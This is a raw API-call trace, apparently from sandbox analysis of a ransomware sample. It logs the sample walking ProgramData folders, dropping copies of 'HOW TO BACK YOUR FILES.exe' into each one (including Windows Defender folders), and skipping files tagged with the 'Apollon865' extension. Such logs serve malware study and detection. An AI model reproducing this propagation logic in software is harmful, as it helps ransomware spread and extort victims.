	[0039.309] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.315] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.315] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.315] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.315] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.315] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Backup" | out: lpString1="Backup") returned="Backup"
	[0039.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0039.315] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x599bd8
	[0039.315] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0039.315] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f89a110, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0039.316] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0039.316] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1
	[0039.316] lstrcmpiW (lpString1="Updates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.316] lstrcmpiW (lpString1="Updates", lpString2="Apollon865.txt.exe") returned 1
	[0039.316] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Updates" | out: lpString1="Updates") returned="Updates"
	[0039.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0039.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x599c70
	[0039.316] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0039.316] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 1
	[0039.316] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.316] lstrcmpiW (lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", lpString2="Apollon865.txt.exe") returned -1
	[0039.316] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="{D2B0B133-42ED-44D3-809A-46EBB62BA863}" | out: lpString1="{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0039.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd0) returned 0x5a5368
	[0039.316] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.316] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x1fff35a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fff35a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{D2B0B133-42ED-44D3-809A-46EBB62BA863}", cAlternateFileName="{D2B0B~1")) returned 0
	[0039.316] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.316] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0039.316] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0039.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0039.316] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.316] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned 103
	[0039.316] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}"
	[0039.316] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.316] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\{d2b0b133-42ed-44d3-809a-46ebb62ba863}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.322] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1fb3099, ftCreationTime.dwHighDateTime=0x1cb892c, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.322] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.322] lstrcpyW (in: lpString1=0x2d3e620, lpString2="mpasbase.vdm" | out: lpString1="mpasbase.vdm") returned="mpasbase.vdm"
	[0039.322] lstrlenW (lpString="mpasbase.vdm") returned 12
	[0039.322] lstrlenW (lpString="Apollon865") returned 10
	[0039.322] lstrcmpiW (lpString1="asbase.vdm", lpString2="Apollon865") returned 1
	[0039.322] lstrcpyW (in: lpString1=0x2d3e620, lpString2="mpasdlta.vdm" | out: lpString1="mpasdlta.vdm") returned="mpasdlta.vdm"
	[0039.322] lstrlenW (lpString="mpasdlta.vdm") returned 12
	[0039.322] lstrlenW (lpString="Apollon865") returned 10
	[0039.322] lstrcmpiW (lpString1="asdlta.vdm", lpString2="Apollon865") returned 1
	[0039.322] lstrcpyW (in: lpString1=0x2d3e620, lpString2="mpengine.dll" | out: lpString1="mpengine.dll") returned="mpengine.dll"
	[0039.322] lstrlenW (lpString="mpengine.dll") returned 12
	[0039.322] lstrlenW (lpString="Apollon865") returned 10
	[0039.322] lstrcmpiW (lpString1="engine.dll", lpString2="Apollon865") returned 1
	[0039.323] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates"
	[0039.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599c70 | out: hHeap=0x580000) returned 1
	[0039.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0039.323] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned 72
	[0039.323] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates"
	[0039.323] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.323] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\updates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.339] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Updates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8c0270, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8c0270, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.339] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.339] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.339] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup"
	[0039.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.339] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0039.339] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned 71
	[0039.339] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup"
	[0039.339] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.339] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\backup\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.347] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.347] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f8e63d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f8e63d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.347] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.347] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.347] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\VISIO", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO"
	[0039.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be108 | out: hHeap=0x580000) returned 1
	[0039.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd48 | out: hHeap=0x580000) returned 1
	[0039.347] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\VISIO") returned 34
	[0039.347] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\VISIO" | out: lpString1="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO"
	[0039.347] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.347] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\visio\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.352] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.352] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.353] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.353] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.353] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Vault", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault"
	[0039.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5be0b8 | out: hHeap=0x580000) returned 1
	[0039.353] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0039.353] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Vault") returned 34
	[0039.353] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Vault" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault"
	[0039.353] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.353] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\vault\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.357] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.357] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.357] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.357] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures"
	[0039.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a78 | out: hHeap=0x580000) returned 1
	[0039.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0039.357] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned 50
	[0039.357] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures"
	[0039.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.358] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.362] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.362] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f90c530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f90c530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.362] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.362] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="5p5NrGJn0jS HALPmcxz.dat" | out: lpString1="5p5NrGJn0jS HALPmcxz.dat") returned="5p5NrGJn0jS HALPmcxz.dat"
	[0039.362] lstrlenW (lpString="5p5NrGJn0jS HALPmcxz.dat") returned 24
	[0039.362] lstrlenW (lpString="Apollon865") returned 10
	[0039.362] lstrcmpiW (lpString1="LPmcxz.dat", lpString2="Apollon865") returned 1
	[0039.362] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="Default Pictures" | out: lpString1="Default Pictures") returned="Default Pictures"
	[0039.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0039.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b9168
	[0039.362] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0039.362] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1
	[0039.362] lstrcmpiW (lpString1="guest.bmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.362] lstrcmpiW (lpString1="guest.bmp", lpString2="Apollon865.txt.exe") returned 1
	[0039.362] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="guest.bmp" | out: lpString1="guest.bmp") returned="guest.bmp"
	[0039.363] lstrlenW (lpString="guest.bmp") returned 9
	[0039.363] lstrlenW (lpString="Apollon865") returned 10
	[0039.363] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="user.bmp" | out: lpString1="user.bmp") returned="user.bmp"
	[0039.363] lstrlenW (lpString="user.bmp") returned 8
	[0039.363] lstrlenW (lpString="Apollon865") returned 10
	[0039.363] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures"
	[0039.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0039.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0039.363] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned 67
	[0039.363] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures" | out: lpString1="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures"
	[0039.363] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.363] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.369] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.369] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f932690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f932690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.369] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.369] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.369] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile10.bmp" | out: lpString1="usertile10.bmp") returned="usertile10.bmp"
	[0039.369] lstrlenW (lpString="usertile10.bmp") returned 14
	[0039.369] lstrlenW (lpString="Apollon865") returned 10
	[0039.369] lstrcmpiW (lpString1="tile10.bmp", lpString2="Apollon865") returned 1
	[0039.369] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile11.bmp" | out: lpString1="usertile11.bmp") returned="usertile11.bmp"
	[0039.369] lstrlenW (lpString="usertile11.bmp") returned 14
	[0039.369] lstrlenW (lpString="Apollon865") returned 10
	[0039.369] lstrcmpiW (lpString1="tile11.bmp", lpString2="Apollon865") returned 1
	[0039.369] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile12.bmp" | out: lpString1="usertile12.bmp") returned="usertile12.bmp"
	[0039.369] lstrlenW (lpString="usertile12.bmp") returned 14
	[0039.369] lstrlenW (lpString="Apollon865") returned 10
	[0039.369] lstrcmpiW (lpString1="tile12.bmp", lpString2="Apollon865") returned 1
	[0039.369] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="usertile13.bmp" | out: lpString1="usertile13.bmp") returned="usertile13.bmp"
	[0039.370] lstrlenW (lpString="usertile13.bmp") returned 14
	[0039.370] lstrlenW (lpString="Apollon865") returned 10
	[0039.370] lstrcmpiW (lpString1="tile13.bmp", lpString2="Apollon865") returned 1
